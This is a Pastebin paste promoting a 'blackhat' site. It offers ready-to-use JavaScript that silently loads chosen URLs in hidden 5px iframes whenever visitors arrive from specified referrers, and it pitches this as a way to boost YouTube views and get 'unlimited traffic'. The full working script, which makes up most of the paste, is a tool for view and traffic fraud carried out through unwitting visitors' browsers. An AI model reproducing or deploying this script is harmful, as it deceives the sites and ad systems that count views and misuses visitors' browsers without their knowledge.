blackhatx2

Script to Get Unlimited Traffic for FREE

Aug 16th, 2012
66
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.34 KB | None | 0 0
  1. www.blackhatx.com
  2.  
  3. Ok here goes….
  4. What if you could load as many urls you wanted based on a single request. That would be awesome right – you could boost youtube views, lower your conversion or the like.
  5.  
  6. Well I wrote such a script for you guys.
  7.  
  8. Only two things you should know is this:
  9.  
  10. var rDomains = ["http://www.google.com","http://www.apple.com"];
  11. This is the collection of urls you want to load silently. Add as many as you want.
  12. var aDomains = [".com"];
  13.  
  14. This is the referrer check. IF you only want the script to work when people are comming from google. Write
  15. “google.com” in there. You can comma delimit the list if you want.
  16.  
  17. example:
  18.  
  19. var aDomains = ["google.com","yahoo.com"];
  20.  
  21. So here is the main script you simple insert on your HTML-page and the magic happens.
  22. It’s still a good idea to take care of the referrer on your pages. I will show you a little trick I use next time around.
  23.  
  24. Hope you like this.
  25.  
  26. <script type="text/javascript">
  27. var sLocation = document.referrer.toLocaleLowerCase();
  28. //Links to boost
  29. var rDomains = ["http://www.google.com","http://www.apple.com"];
  30. //Allowed domain referrer
  31. var aDomains = [".com"];
  32. var valid = 0;
  33.  
  34. //Valid referrer
  35. for (i=0;i<aDomains.length;i++) {
  36. //Check referrer
  37. if (sLocation.indexOf(aDomains[i], 0) > -1)
  38. {
  39. valid = 1;
  40. break;
  41. }
  42. }
  43.  
  44. //Valid referrer
  45. if (valid == 1)
  46. {
  47. //Loop
  48. for (i=0;i<rDomains.length;i++) {
  49. //alert(rDomains[i]);
  50. invisibleWindow("mydiv" + i,rDomains[i]);
  51. }
  52. }
  53.  
  54. function invisibleWindow(iframeID, url) {
  55. divel = document.createElement("div");
  56. divel.id = "div" + iframeID;
  57. divel.style.width = "5px";
  58. divel.style.height = "5px";
  59. divel.style.visibility = "hidden";
  60.  
  61. //Add div
  62. document.body.appendChild(divel);
  63.  
  64. domiframe = document.createElement("iframe");
  65. domiframe.id = iframeID;
  66. domiframe.src = url;
  67. domiframe.style.width = "5px";
  68. domiframe.style.height = "5px";
  69. domiframe.style.visibility = "hidden";
  70.  
  71. var divid = document.getElementById("div" + iframeID);
  72. divid.appendChild(domiframe);
  73. }
  74.  
  75. </script>
  76.  
  77. for more information visite..
  78. www.blackhatx.com
Add Comment
Please, Sign In to add comment